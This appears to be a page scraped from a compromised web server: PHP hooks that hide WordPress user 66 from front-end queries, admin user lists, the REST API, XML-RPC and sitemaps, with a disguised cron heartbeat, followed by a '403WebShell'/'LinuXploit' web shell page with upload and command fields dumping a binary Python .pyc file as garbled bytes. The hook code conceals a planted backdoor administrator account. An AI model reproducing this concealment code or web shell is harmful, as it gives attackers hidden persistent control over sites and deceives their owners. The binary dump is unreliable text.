add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3.12/encodings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3.12/encodings/__pycache__/__init__.cpython-312.pyc
�

:5j�����dZddlZddlZddlmZiZdZdgZejZGd�de	e
�Zd	�Zd
�Z
eje
�ejdk(rd�Zeje�yy)
a2 Standard "encodings" Package

    Standard Python encoding modules are stored in this package
    directory.

    Codec modules must have names corresponding to normalized encoding
    names as defined in the normalize_encoding() function below, e.g.
    'utf-8' must be implemented by the module 'utf_8.py'.

    Each codec module must export the following interface:

    * getregentry() -> codecs.CodecInfo object
    The getregentry() API must return a CodecInfo object with encoder, decoder,
    incrementalencoder, incrementaldecoder, streamwriter and streamreader
    attributes which adhere to the Python Codec Interface Standard.

    In addition, a module may optionally also define the following
    APIs which are then used by the package's codec search function:

    * getaliases() -> sequence of encoding name strings to use as aliases

    Alias names returned by getaliases() must be normalized encoding
    names as defined by normalize_encoding().

Written by Marc-Andre Lemburg (mal@lemburg.com).

(c) Copyright CNRI, All Rights Reserved. NO WARRANTY.

�N�)�aliasesz--unknown--�*c��eZdZy)�CodecRegistryErrorN)�__name__�
__module__�__qualname__���)/usr/lib/python3.12/encodings/__init__.pyrr(s��rrc��t|t�rt|d�}g}d}|D]R}|j�s|dk(r9|r|r|j	d�|j�r|j	|�d}�Qd}�Tdj
|�S)ae Normalize an encoding name.

        Normalization works as follows: all non-alphanumeric
        characters except the dot used for Python package names are
        collapsed and replaced with a single underscore, e.g. '  -;#'
        becomes '_'. Leading and trailing underscores are removed.

        Note that encoding names should be ASCII only.

    �asciiF�.�_T�)�
isinstance�bytes�str�isalnum�append�isascii�join)�encoding�chars�punct�cs    r
�normalize_encodingr+s����(�E�"��x��)���E��E�
����9�9�;�!�s�(������S�!��y�y�{����Q���E��E���7�7�5�>�rc��tj|t�}|tur|St|�}tj|�xs%tj|jdd��}|�||g}n|g}|D] }|rd|vr�
	t
d|ztd��}nd}	|j}|�
dt|<y�}t|tj��s@dt|�cxkrdks(ntd|j �d	|j"�d
���t%|d�rvt%|d�rh|d�t%|d�rU|d
�t%|d
�rBt|�dkDr|d�t%|d�r!t|�dkDr9|d�4t%|d�s&td|j �d	|j"�d���t|�dks|d�5|ddt|�z
z|j j'dd�dfzz
}tj|�}|t|<	|j)�}|D]}	|	tvs�t|	<�|S#t$rY���wxYw#t$rd}Y���wxYw#t$rY|SwxYw)Nrrz
encodings.r)�fromlist�level��zmodule "z" (z) failed to registerr���zincompatible codecs in module "�)�)N)�_cache�get�_unknownr�_aliases�replace�
__import__�_import_tail�ImportError�getregentry�AttributeErrorr�codecs�	CodecInfo�lenrr�__file__�callable�split�
getaliases)
r�entry�
norm_encoding�aliased_encoding�modnames�modname�modr1�codecaliases�aliass
          r
�search_functionrBGs���
�J�J�x��*�E��H����'�x�0�M��|�|�M�2�E��|�|�M�$9�$9�#�s�$C�D���#�$�!�#��"�?������#��.��
	��\�G�3�l�#$�&�C�
������o�o��
�{���x���
�M�E��e�V�-�-�.��C��J�#�!�#�$�(+���c�l�l�&D�E�
E���a��!��%��(�);��!�H� ��%��(�);��!�H� ��%��(�);���J��N�u�Q�x�3�H�U�1�X�<N���J��N�u�Q�x�3�H�U�1�X�<N�$�(+���c�l�l�&D�E�
E��u�:�a�<�5��8�+��W�a��E�
�l�+�s�|�|�/A�/A�#�q�/I�!�/L�.N�N�N�E�� � �%�(���F�8��*��~�~�'��"�	*�E��H�$�")����	*�
�L��i�	�
�	��������B�
���L�
�s6�I
�I�"I/�
	I�I�I,�+I,�/	I<�;I<�win32c��	ddl}d|j�z}||k(rddl}|jj	�Sy#t
$rYywxYw)Nrzcp%s)�_winapi�GetACP�encodings.mbcs�mbcsr1r0)rrE�ansi_code_page�	encodingss    r
�_alias_mbcsrK�sR��	��#�g�n�n�&6�6�N��>�)�%� �~�~�1�1�3�3�*���	��	�s�9=�	A	�A	)�__doc__r3�sysrrr)r+r/r,�LookupError�SystemErrorrrrB�register�platformrKrrr
�<module>rRs���<�
��	�����u���?�?��	��k�	��8R�j����� ��<�<�7��
	��F�O�O�K� �!r

Youez - 2016 - github.com/yon3zu
LinuXploit